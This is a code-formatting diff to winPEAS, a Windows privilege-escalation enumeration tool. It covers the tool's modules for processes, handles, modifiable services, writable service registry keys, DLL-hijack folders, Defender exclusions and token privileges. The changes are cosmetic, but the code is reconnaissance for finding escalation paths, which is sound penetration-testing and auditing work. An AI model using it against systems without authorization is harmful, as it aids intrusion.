MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID) Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID)); MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID)Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries)); IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
// Read and parse the UDP records from the table and store them in list // Read and parse the UDP records from the table and store them in list
// 'UdpConnection' structure type objects. // 'UdpConnection' structure type objects.
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++) for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
{ {
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID) Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID)); MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
udpTableRecords.Add(new UdpConnectionInfo( udpTableRecords.Add(new UdpConnectionInfo(
Protocol.UDP, Protocol.UDP,
new IPAddress(udpRow.localAddr), new IPAddress(udpRow.localAddr),

View File

@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
public struct MIB_UDP6TABLE_OWNER_PID public struct MIB_UDP6TABLE_OWNER_PID
{ {
public uint dwNumEntries; public uint dwNumEntries;
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)] [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
public MIB_UDP6ROW_OWNER_PID[] table; public MIB_UDP6ROW_OWNER_PID[] table;
} }
} }

View File

@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
public struct MIB_UDPTABLE_OWNER_PID public struct MIB_UDPTABLE_OWNER_PID
{ {
public uint dwNumEntries; public uint dwNumEntries;
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)] [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
public MIB_UDPROW_OWNER_PID[] table; public MIB_UDPROW_OWNER_PID[] table;
} }
} }

View File

@@ -6,7 +6,6 @@ using System.Linq;
using System.Management; using System.Management;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Threading.Tasks; using System.Threading.Tasks;
using winPEAS.Helpers; using winPEAS.Helpers;
@@ -33,7 +32,7 @@ namespace winPEAS.Info.ProcessInfo
Proc = p, Proc = p,
Pth = (string)mo["ExecutablePath"], Pth = (string)mo["ExecutablePath"],
CommLine = (string)mo["CommandLine"], CommLine = (string)mo["CommandLine"],
Owner = Helpers.HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach Owner = HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
}; };
foreach (var itm in queRy) foreach (var itm in queRy)
@@ -54,14 +53,16 @@ namespace winPEAS.Info.ProcessInfo
} }
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase))) if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
{ {
Dictionary<string, string> to_add = new Dictionary<string, string>(); Dictionary<string, string> to_add = new Dictionary<string, string>
to_add["Name"] = itm.Proc.ProcessName; {
to_add["ProcessID"] = itm.Proc.Id.ToString(); ["Name"] = itm.Proc.ProcessName,
to_add["ExecutablePath"] = itm.Pth; ["ProcessID"] = itm.Proc.Id.ToString(),
to_add["Product"] = companyName; ["ExecutablePath"] = itm.Pth,
to_add["Owner"] = itm.Owner == null ? "" : itm.Owner; ["Product"] = companyName,
to_add["isDotNet"] = isDotNet; ["Owner"] = itm.Owner == null ? "" : itm.Owner,
to_add["CommandLine"] = itm.CommLine; ["isDotNet"] = isDotNet,
["CommandLine"] = itm.CommLine
};
f_results.Add(to_add); f_results.Add(to_add);
} }
} }
@@ -123,11 +124,13 @@ namespace winPEAS.Info.ProcessInfo
string hName = HandlesHelper.GetObjectName(dupHandle); string hName = HandlesHelper.GetObjectName(dupHandle);
Dictionary<string, string> to_add = new Dictionary<string, string>(); Dictionary<string, string> to_add = new Dictionary<string, string>
to_add["Handle Name"] = hName; {
to_add["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")"; ["Handle Name"] = hName,
to_add["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName; ["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")",
to_add["Reason"] = handlerExp.reason; ["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName,
["Reason"] = handlerExp.reason
};
if (typeName == "process" || typeName == "thread") if (typeName == "process" || typeName == "thread")
{ {
@@ -177,7 +180,7 @@ namespace winPEAS.Info.ProcessInfo
string sFilePath = fni.FileName; string sFilePath = fni.FileName;
if (sFilePath.Length == 0) if (sFilePath.Length == 0)
continue; continue;
List<string> permsFile = PermissionsHelper.GetPermissionsFile(sFilePath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT); List<string> permsFile = PermissionsHelper.GetPermissionsFile(sFilePath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);
try try
{ {
@@ -208,13 +211,13 @@ namespace winPEAS.Info.ProcessInfo
else if (typeName == "key") else if (typeName == "key")
{ {
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle); HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length> 0) if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length > 0)
continue; continue;
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path); RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
if (regKey == null) if (regKey == null)
continue; continue;
List<string> permsReg = PermissionsHelper.GetMyPermissionsR(regKey, Checks.Checks.CurrentUserSiDs); List<string> permsReg = PermissionsHelper.GetMyPermissionsR(regKey, Checks.Checks.CurrentUserSiDs);
// If current user already have permissions over that reg, handle not interesting to elevate privs // If current user already have permissions over that reg, handle not interesting to elevate privs

View File

@@ -1,4 +1,5 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq; using System.Linq;
@@ -8,10 +9,8 @@ using System.Runtime.InteropServices;
using System.Security.AccessControl; using System.Security.AccessControl;
using System.ServiceProcess; using System.ServiceProcess;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.KnownFileCreds;
using winPEAS.Native; using winPEAS.Native;
namespace winPEAS.Info.ServicesInfo namespace winPEAS.Info.ServicesInfo
@@ -51,17 +50,18 @@ namespace winPEAS.Info.ServicesInfo
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase))) if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
{ {
Dictionary<string, string> toadd = new Dictionary<string, string>(); Dictionary<string, string> toadd = new Dictionary<string, string>
{
toadd["Name"] = GetStringOrEmpty(result["Name"]); ["Name"] = GetStringOrEmpty(result["Name"]),
toadd["DisplayName"] = GetStringOrEmpty(result["DisplayName"]); ["DisplayName"] = GetStringOrEmpty(result["DisplayName"]),
toadd["CompanyName"] = companyName; ["CompanyName"] = companyName,
toadd["State"] = GetStringOrEmpty(result["State"]); ["State"] = GetStringOrEmpty(result["State"]),
toadd["StartMode"] = GetStringOrEmpty(result["StartMode"]); ["StartMode"] = GetStringOrEmpty(result["StartMode"]),
toadd["PathName"] = GetStringOrEmpty(result["PathName"]); ["PathName"] = GetStringOrEmpty(result["PathName"]),
toadd["FilteredPath"] = binaryPath; ["FilteredPath"] = binaryPath,
toadd["isDotNet"] = isDotNet; ["isDotNet"] = isDotNet,
toadd["Description"] = GetStringOrEmpty(result["Description"]); ["Description"] = GetStringOrEmpty(result["Description"])
};
results.Add(toadd); results.Add(toadd);
} }
@@ -166,7 +166,7 @@ namespace winPEAS.Info.ServicesInfo
} }
return results; return results;
} }
public static Dictionary<string, string> GetModifiableServices(Dictionary<string, string> SIDs) public static Dictionary<string, string> GetModifiableServices(Dictionary<string, string> SIDs)
{ {
Dictionary<string, string> results = new Dictionary<string, string>(); Dictionary<string, string> results = new Dictionary<string, string>();
@@ -222,7 +222,7 @@ namespace winPEAS.Info.ServicesInfo
{ //https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.commonace?view=net-6.0 { //https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.commonace?view=net-6.0
int serviceRights = ace.AccessMask; int serviceRights = ace.AccessMask;
string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC); string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC);
if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str)) if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str))
permissions.Add(current_perm_str); permissions.Add(current_perm_str);
} }
@@ -232,7 +232,7 @@ namespace winPEAS.Info.ServicesInfo
if (permissions.Count > 0) if (permissions.Count > 0)
{ {
string perms = String.Join(", ", permissions); string perms = String.Join(", ", permissions);
if (perms.Replace("Start", "").Replace("Stop","").Length > 3) //Check if any other permissions appart from Start and Stop if (perms.Replace("Start", "").Replace("Stop", "").Length > 3) //Check if any other permissions appart from Start and Stop
results.Add(sc.ServiceName, perms); results.Add(sc.ServiceName, perms);
} }
@@ -249,9 +249,9 @@ namespace winPEAS.Info.ServicesInfo
/////// Find Write reg. Services //////// /////// Find Write reg. Services ////////
////////////////////////////////////////// //////////////////////////////////////////
/// Find Services which Reg you have write or equivalent access /// Find Services which Reg you have write or equivalent access
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string,string> NtAccountNames) public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string, string> NtAccountNames)
{ {
List<Dictionary<string,string>> results = new List<Dictionary<string, string>>(); List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
try try
{ {
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services"); RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");
@@ -275,7 +275,7 @@ namespace winPEAS.Info.ServicesInfo
return results; return results;
} }
////////////////////////////////////// //////////////////////////////////////
//////// PATH DLL Hijacking ///////// //////// PATH DLL Hijacking /////////
////////////////////////////////////// //////////////////////////////////////
@@ -294,7 +294,7 @@ namespace winPEAS.Info.ServicesInfo
foreach (string folder in folders) foreach (string folder in folders)
results[folder] = String.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs)); results[folder] = String.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs));
} }
catch (Exception ex) catch (Exception ex)
{ {

View File

@@ -35,7 +35,7 @@ namespace winPEAS.Info.SystemInfo
{ {
var configCheck = (int[])result.GetPropertyValue("SecurityServicesConfigured"); var configCheck = (int[])result.GetPropertyValue("SecurityServicesConfigured");
var serviceCheck = (int[])result.GetPropertyValue("SecurityServicesRunning"); var serviceCheck = (int[])result.GetPropertyValue("SecurityServicesRunning");
var configured = false; var configured = false;
var running = false; var running = false;
@@ -56,7 +56,7 @@ namespace winPEAS.Info.SystemInfo
$" Configured: {configured}\n" + $" Configured: {configured}\n" +
$" Running: {running}", $" Running: {running}",
colors); colors);
} }
} }
} }
@@ -68,7 +68,7 @@ namespace winPEAS.Info.SystemInfo
catch (Exception ex) catch (Exception ex)
{ {
//Beaprint.PrintException(ex.Message); //Beaprint.PrintException(ex.Message);
} }
} }
private static string GetVbsSettingString(uint? vbs) private static string GetVbsSettingString(uint? vbs)

View File

@@ -38,7 +38,7 @@ namespace winPEAS.Info.SystemInfo.DotNet
private static string GetOSVersion() private static string GetOSVersion()
{ {
try try
{ {
using (var wmiData = new ManagementObjectSearcher(@"root\cimv2", "SELECT Version FROM Win32_OperatingSystem")) using (var wmiData = new ManagementObjectSearcher(@"root\cimv2", "SELECT Version FROM Win32_OperatingSystem"))

View File

@@ -1,5 +1,5 @@
using System.Collections.Generic; using Microsoft.Win32;
using Microsoft.Win32; using System.Collections.Generic;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
@@ -14,7 +14,7 @@ namespace winPEAS.Info.SystemInfo.GroupPolicy
// local machine GPOs // local machine GPOs
var basePath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0"; var basePath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0";
var machineIDs = RegistryHelper.GetRegSubkeys("HKLM", basePath) ?? new string[] { }; var machineIDs = RegistryHelper.GetRegSubkeys("HKLM", basePath) ?? new string[] { };
foreach (var id in machineIDs) foreach (var id in machineIDs)
{ {
var settings = RegistryHelper.GetRegValues("HKLM", $"{basePath}\\{id}"); var settings = RegistryHelper.GetRegValues("HKLM", $"{basePath}\\{id}");

View File

@@ -3,7 +3,6 @@ using System.IO;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.AccessControl; using System.Security.AccessControl;
using winPEAS.Native; using winPEAS.Native;
using System.Security.Principal;
namespace winPEAS.Info.SystemInfo.NamedPipes namespace winPEAS.Info.SystemInfo.NamedPipes
@@ -51,7 +50,7 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
{ {
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}"); var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All); sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
List<string> currentUserPermsList = winPEAS.Helpers.PermissionsHelper.GetMyPermissionsF(security, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> currentUserPermsList = Helpers.PermissionsHelper.GetMyPermissionsF(security, Checks.Checks.CurrentUserSiDs);
currentUserPerms = string.Join(", ", currentUserPermsList); currentUserPerms = string.Join(", ", currentUserPermsList);
} }
catch catch

View File

@@ -5,7 +5,7 @@
public uint? LanmanCompatibilityLevel { get; set; } public uint? LanmanCompatibilityLevel { get; set; }
public string LanmanCompatibilityLevelString public string LanmanCompatibilityLevelString
{ {
get get
{ {
switch (LanmanCompatibilityLevel) switch (LanmanCompatibilityLevel)
@@ -25,11 +25,11 @@
public bool ClientRequireSigning { get; set; } public bool ClientRequireSigning { get; set; }
public bool ClientNegotiateSigning { get; set; } public bool ClientNegotiateSigning { get; set; }
public bool ServerRequireSigning { get; set; } public bool ServerRequireSigning { get; set; }
public bool ServerNegotiateSigning { get; set; } public bool ServerNegotiateSigning { get; set; }
public uint? LdapSigning { get; set; } public uint? LdapSigning { get; set; }
public string LdapSigningString public string LdapSigningString
{ {
get get
{ {
switch (LdapSigning) switch (LdapSigning)
@@ -44,7 +44,7 @@
} }
public uint? NTLMMinClientSec { get; set; } public uint? NTLMMinClientSec { get; set; }
public uint? NTLMMinServerSec { get; set; } public uint? NTLMMinServerSec { get; set; }
public uint? InboundRestrictions { get; internal set; } public uint? InboundRestrictions { get; internal set; }
public string InboundRestrictionsString public string InboundRestrictionsString

View File

@@ -8,7 +8,7 @@ namespace winPEAS.Info.SystemInfo.PowerShell
internal class PowerShell internal class PowerShell
{ {
public static IEnumerable<PowerShellSessionSettingsInfo> GetPowerShellSessionSettingsInfos() public static IEnumerable<PowerShellSessionSettingsInfo> GetPowerShellSessionSettingsInfos()
{ {
var plugins = new[] { "Microsoft.PowerShell", "Microsoft.PowerShell.Workflow", "Microsoft.PowerShell32" }; var plugins = new[] { "Microsoft.PowerShell", "Microsoft.PowerShell.Workflow", "Microsoft.PowerShell32" };
foreach (var plugin in plugins) foreach (var plugin in plugins)
@@ -49,6 +49,6 @@ namespace winPEAS.Info.SystemInfo.PowerShell
yield return new PowerShellSessionSettingsInfo(plugin, access); yield return new PowerShellSessionSettingsInfo(plugin, access);
} }
} }
} }
} }

View File

@@ -11,6 +11,6 @@ namespace winPEAS.Info.SystemInfo.PowerShell
{ {
Plugin = plugin; Plugin = plugin;
Permissions = permissions; Permissions = permissions;
} }
} }
} }

View File

@@ -10,14 +10,14 @@ using winPEAS.Native.Enums;
namespace winPEAS.Info.SystemInfo.Printers namespace winPEAS.Info.SystemInfo.Printers
{ {
internal class Printers internal class Printers
{ {
[StructLayout(LayoutKind.Sequential)] [StructLayout(LayoutKind.Sequential)]
public struct SECURITY_INFOS public struct SECURITY_INFOS
{ {
public string Owner; public string Owner;
public RawSecurityDescriptor SecurityDescriptor; public RawSecurityDescriptor SecurityDescriptor;
public string SDDL; public string SDDL;
} }
public static IEnumerable<PrinterInfo> GetPrinterWMIInfos() public static IEnumerable<PrinterInfo> GetPrinterWMIInfos()
{ {

View File

@@ -2,7 +2,6 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics.Eventing.Reader; using System.Diagnostics.Eventing.Reader;
using System.Text.RegularExpressions;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
@@ -14,7 +13,7 @@ namespace winPEAS.Info.SystemInfo.SysMon
public static IEnumerable<SysmonInfo> GetSysMonInfos() public static IEnumerable<SysmonInfo> GetSysMonInfos()
{ {
var paramsKey = @"SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters"; var paramsKey = @"SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters";
uint? regHashAlg = GetUintNullableFromString(RegistryHelper.GetRegValue("HKLM", paramsKey, "HashingAlgorithm")); uint? regHashAlg = GetUintNullableFromString(RegistryHelper.GetRegValue("HKLM", paramsKey, "HashingAlgorithm"));
uint? regOptions = GetUintNullableFromString(RegistryHelper.GetRegValue("HKLM", paramsKey, "Options")); uint? regOptions = GetUintNullableFromString(RegistryHelper.GetRegValue("HKLM", paramsKey, "Options"));
byte[] regSysmonRules = GetBinaryValueFromRegistry(Registry.LocalMachine, paramsKey, "Rules"); byte[] regSysmonRules = GetBinaryValueFromRegistry(Registry.LocalMachine, paramsKey, "Rules");

View File

@@ -13,6 +13,6 @@
HashingAlgorithm = hashingAlgorithm; HashingAlgorithm = hashingAlgorithm;
Options = options; Options = options;
Rules = rules; Rules = rules;
} }
} }
} }

View File

@@ -9,7 +9,6 @@ using System.Net.NetworkInformation;
using System.Windows.Forms; using System.Windows.Forms;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.KnownFileCreds;
namespace winPEAS.Info.SystemInfo namespace winPEAS.Info.SystemInfo
{ {
@@ -160,7 +159,7 @@ namespace winPEAS.Info.SystemInfo
{ {
Dictionary<string, string> results = new Dictionary<string, string>(); Dictionary<string, string> results = new Dictionary<string, string>();
string whitelistpaths = ""; string whitelistpaths = "";
try try
{ {
var keys = RegistryHelper.GetRegValues("HKLM", @"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"); var keys = RegistryHelper.GetRegValues("HKLM", @"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths");
@@ -188,7 +187,7 @@ namespace winPEAS.Info.SystemInfo
{ {
results["whitelistpaths"] = " " + whitelistpaths; //Add this info the last results["whitelistpaths"] = " " + whitelistpaths; //Add this info the last
} }
return results; return results;
} }
@@ -342,7 +341,7 @@ namespace winPEAS.Info.SystemInfo
{ {
var keys = RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Microsoft\PowerShellCore\InstalledVersions\") ?? new string[] { }; var keys = RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Microsoft\PowerShellCore\InstalledVersions\") ?? new string[] { };
return keys.Select(key => return keys.Select(key =>
RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\PowerShellCore\InstalledVersions\" + key, "SemanticVersion")) RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\PowerShellCore\InstalledVersions\" + key, "SemanticVersion"))
.Where(version => version != null).ToList(); .Where(version => version != null).ToList();
} }
@@ -461,7 +460,7 @@ namespace winPEAS.Info.SystemInfo
if ((settings != null) && (settings.Count != 0)) if ((settings != null) && (settings.Count != 0))
{ {
foreach (KeyValuePair<string, object> kvp in settings) foreach (KeyValuePair<string, object> kvp in settings)
{ {
result[kvp.Key] = (string)kvp.Value; result[kvp.Key] = (string)kvp.Value;
} }
} }

View File

@@ -1,7 +1,5 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using Microsoft.Win32;
using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
namespace winPEAS.Info.SystemInfo.WindowsDefender namespace winPEAS.Info.SystemInfo.WindowsDefender
@@ -17,14 +15,14 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
public WindowsDefenderSettings(string defenderBaseKeyPath) public WindowsDefenderSettings(string defenderBaseKeyPath)
{ {
PathExclusions = new List<string>(); PathExclusions = new List<string>();
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{ defenderBaseKeyPath}\\Exclusions\\Paths"); var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Paths");
if (pathExclusionData != null) if (pathExclusionData != null)
{ {
foreach (var kvp in pathExclusionData) foreach (var kvp in pathExclusionData)
{ {
PathExclusions.Add(kvp.Key); PathExclusions.Add(kvp.Key);
} }
} }
PolicyManagerPathExclusions = new List<string>(); PolicyManagerPathExclusions = new List<string>();
var excludedPaths = RegistryHelper.GetRegValue("HKLM", $"{defenderBaseKeyPath}\\Policy Manager", "ExcludedPaths"); var excludedPaths = RegistryHelper.GetRegValue("HKLM", $"{defenderBaseKeyPath}\\Policy Manager", "ExcludedPaths");
@@ -54,7 +52,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
{ {
ExtensionExclusions.Add(kvp.Key); ExtensionExclusions.Add(kvp.Key);
} }
} }
var asrKeyPath = $"{defenderBaseKeyPath}\\Windows Defender Exploit Guard\\ASR"; var asrKeyPath = $"{defenderBaseKeyPath}\\Windows Defender Exploit Guard\\ASR";
var asrEnabled = RegistryHelper.GetRegValue("HKLM", asrKeyPath, "ExploitGuard_ASR_Rules"); var asrEnabled = RegistryHelper.GetRegValue("HKLM", asrKeyPath, "ExploitGuard_ASR_Rules");
@@ -82,7 +80,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
{ {
AsrSettings.Exclusions.Add(value.Key); AsrSettings.Exclusions.Add(value.Key);
} }
} }
} }
} }
} }

View File

@@ -1,10 +1,4 @@
using System; namespace winPEAS.Info.SystemInfo.WindowsDefender
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace winPEAS.Info.SystemInfo.WindowsDefender
{ {
class WindowsDefenderSettingsInfo class WindowsDefenderSettingsInfo
{ {

View File

@@ -184,5 +184,5 @@ namespace winPEAS.Info.UserInfo.LogonSessions
} }
} }
} }
} }
} }

View File

@@ -43,6 +43,6 @@ namespace winPEAS.Info.UserInfo.LogonSessions
LogonServerDnsDomain = logonServerDnsDomain; LogonServerDnsDomain = logonServerDnsDomain;
UserPrincipalName = userPrincipalName; UserPrincipalName = userPrincipalName;
UserSID = userSid; UserSID = userSid;
} }
} }
} }

View File

@@ -2,7 +2,6 @@
using System.Collections.Generic; using System.Collections.Generic;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using winPEAS.Helpers;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Classes; using winPEAS.Native.Classes;
@@ -99,9 +98,9 @@ namespace winPEAS.Info.UserInfo.SAM
yield return us.ToString(); yield return us.ToString();
us.Buffer = IntPtr.Zero; // we don't own this one us.Buffer = IntPtr.Zero; // we don't own this one
} }
} }
private static void Check(NTSTATUS err) private static void Check(NTSTATUS err)
{ {

View File

@@ -2,7 +2,6 @@
using System.Collections.Generic; using System.Collections.Generic;
using System.Net.NetworkInformation; using System.Net.NetworkInformation;
using System.Security.Principal; using System.Security.Principal;
using System.Text.RegularExpressions;
using winPEAS.Helpers; using winPEAS.Helpers;
namespace winPEAS.Info.UserInfo namespace winPEAS.Info.UserInfo

View File

@@ -3,7 +3,6 @@ using System.Collections.Generic;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Text;
using winPEAS.Helpers;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Structs; using winPEAS.Native.Structs;

View File

@@ -1,7 +1,7 @@
using System; using System;
namespace winPEAS.Info.UserInfo.Token namespace winPEAS.Info.UserInfo.Token
{ {
[Flags] [Flags]
public enum LuidAttributes : uint public enum LuidAttributes : uint
{ {

View File

@@ -10,7 +10,7 @@ using winPEAS.Native.Enums;
namespace winPEAS.Info.UserInfo.Token namespace winPEAS.Info.UserInfo.Token
{ {
internal static class Token internal static class Token
{ {
public static Dictionary<string, string> GetTokenGroupPrivs() public static Dictionary<string, string> GetTokenGroupPrivs()
{ {
// Returns all privileges that the current process/user possesses // Returns all privileges that the current process/user possesses
@@ -36,7 +36,7 @@ namespace winPEAS.Info.UserInfo.Token
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen); Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
strBuilder.EnsureCapacity(luidNameLen + 1); strBuilder.EnsureCapacity(luidNameLen + 1);
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen)) if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
results[strBuilder.ToString()] = $"{(LuidAttributes) laa.Attributes}"; results[strBuilder.ToString()] = $"{(LuidAttributes)laa.Attributes}";
Marshal.FreeHGlobal(luidPointer); Marshal.FreeHGlobal(luidPointer);
} }
} }

View File

@@ -7,7 +7,6 @@ using System.Management;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.KnownFileCreds;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Structs; using winPEAS.Native.Structs;
@@ -18,7 +17,7 @@ namespace winPEAS.Info.UserInfo
public static List<string> GetMachineUsers(bool onlyActive, bool onlyDisabled, bool onlyLockout, bool onlyAdmins, bool fullInfo) public static List<string> GetMachineUsers(bool onlyActive, bool onlyDisabled, bool onlyLockout, bool onlyAdmins, bool fullInfo)
{ {
List<string> retList = new List<string>(); List<string> retList = new List<string>();
try try
{ {
foreach (ManagementObject user in Checks.Checks.Win32Users) foreach (ManagementObject user in Checks.Checks.Win32Users)
@@ -107,7 +106,7 @@ namespace winPEAS.Info.UserInfo
} }
} }
catch catch
{ {
//If error, then some error ocurred trying to find a user inside an unexistant domain, check if local user //If error, then some error ocurred trying to find a user inside an unexistant domain, check if local user
user = GetUserLocal(sUserName); user = GetUserLocal(sUserName);
} }

View File

@@ -6,7 +6,6 @@ using System.Windows.Forms;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Helpers.Registry; using winPEAS.Helpers.Registry;
using winPEAS.Info.UserInfo.SAM; using winPEAS.Info.UserInfo.SAM;
using winPEAS.KnownFileCreds;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
@@ -14,12 +13,12 @@ using winPEAS.Native.Enums;
//I have also created the folder Costura32 and Costura64 with the respective Dlls of Colorful.Console //I have also created the folder Costura32 and Costura64 with the respective Dlls of Colorful.Console
namespace winPEAS.Info.UserInfo namespace winPEAS.Info.UserInfo
{ {
class UserInfoHelper class UserInfoHelper
{ {
// https://stackoverflow.com/questions/5247798/get-list-of-local-computer-usernames-in-windows // https://stackoverflow.com/questions/5247798/get-list-of-local-computer-usernames-in-windows
public static string SID2GroupName(string SID) public static string SID2GroupName(string SID)
{ {
//Frist, look in well-known SIDs //Frist, look in well-known SIDs
@@ -84,13 +83,13 @@ namespace winPEAS.Info.UserInfo
Beaprint.PrintException(ex.Message); Beaprint.PrintException(ex.Message);
} }
return groupName; return groupName;
} }
public static PrincipalContext GetPrincipalContext() public static PrincipalContext GetPrincipalContext()
{ {
PrincipalContext oPrincipalContext = new PrincipalContext(ContextType.Machine); PrincipalContext oPrincipalContext = new PrincipalContext(ContextType.Machine);
return oPrincipalContext; return oPrincipalContext;
} }
//From Seatbelt //From Seatbelt
public enum WTS_CONNECTSTATE_CLASS public enum WTS_CONNECTSTATE_CLASS
